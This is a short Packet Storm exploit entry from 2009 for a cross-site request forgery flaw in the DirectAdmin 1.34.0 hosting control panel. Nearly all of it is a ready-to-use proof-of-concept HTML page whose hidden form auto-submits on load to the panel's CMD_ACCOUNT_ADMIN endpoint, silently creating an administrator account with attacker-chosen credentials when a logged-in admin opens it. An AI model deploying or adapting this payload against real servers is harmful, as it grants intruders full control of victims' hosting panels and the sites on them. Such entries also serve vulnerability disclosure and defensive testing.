DirectAdmin 1.34.0 XSRF

2009-12-30T00:00:00
ID PACKETSTORM:84467
Type packetstorm
Reporter SecurityRules
Modified 2009-12-30T00:00:00

Description

                                        
                                            `# Vendor: [http://www.directadmin.com/]  
# Code : [Create Administrator] :  
  
  
<html>  
<title>DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability</title>  
<!--!Set You'r victim By SarBoT511 !-->  
<form name="reseller" action="http://site.com:2222/CMD_ACCOUNT_ADMIN" method="post">  
<input type="hidden" name=action value=create>  
<input type="hidden" name="username" value="sec-r1z"></br>  
<input type="hidden" name="email" value="r1z@sec-r1z.com"></br>  
<input type="hidden" name="passwd" value="123456789"></br>  
<input type="hidden" name="passwd2" value="123456789"></br>  
<input type="hidden" value="Submit">  
<body onload="document.forms.reseller.submit();">  
</html>  
  
`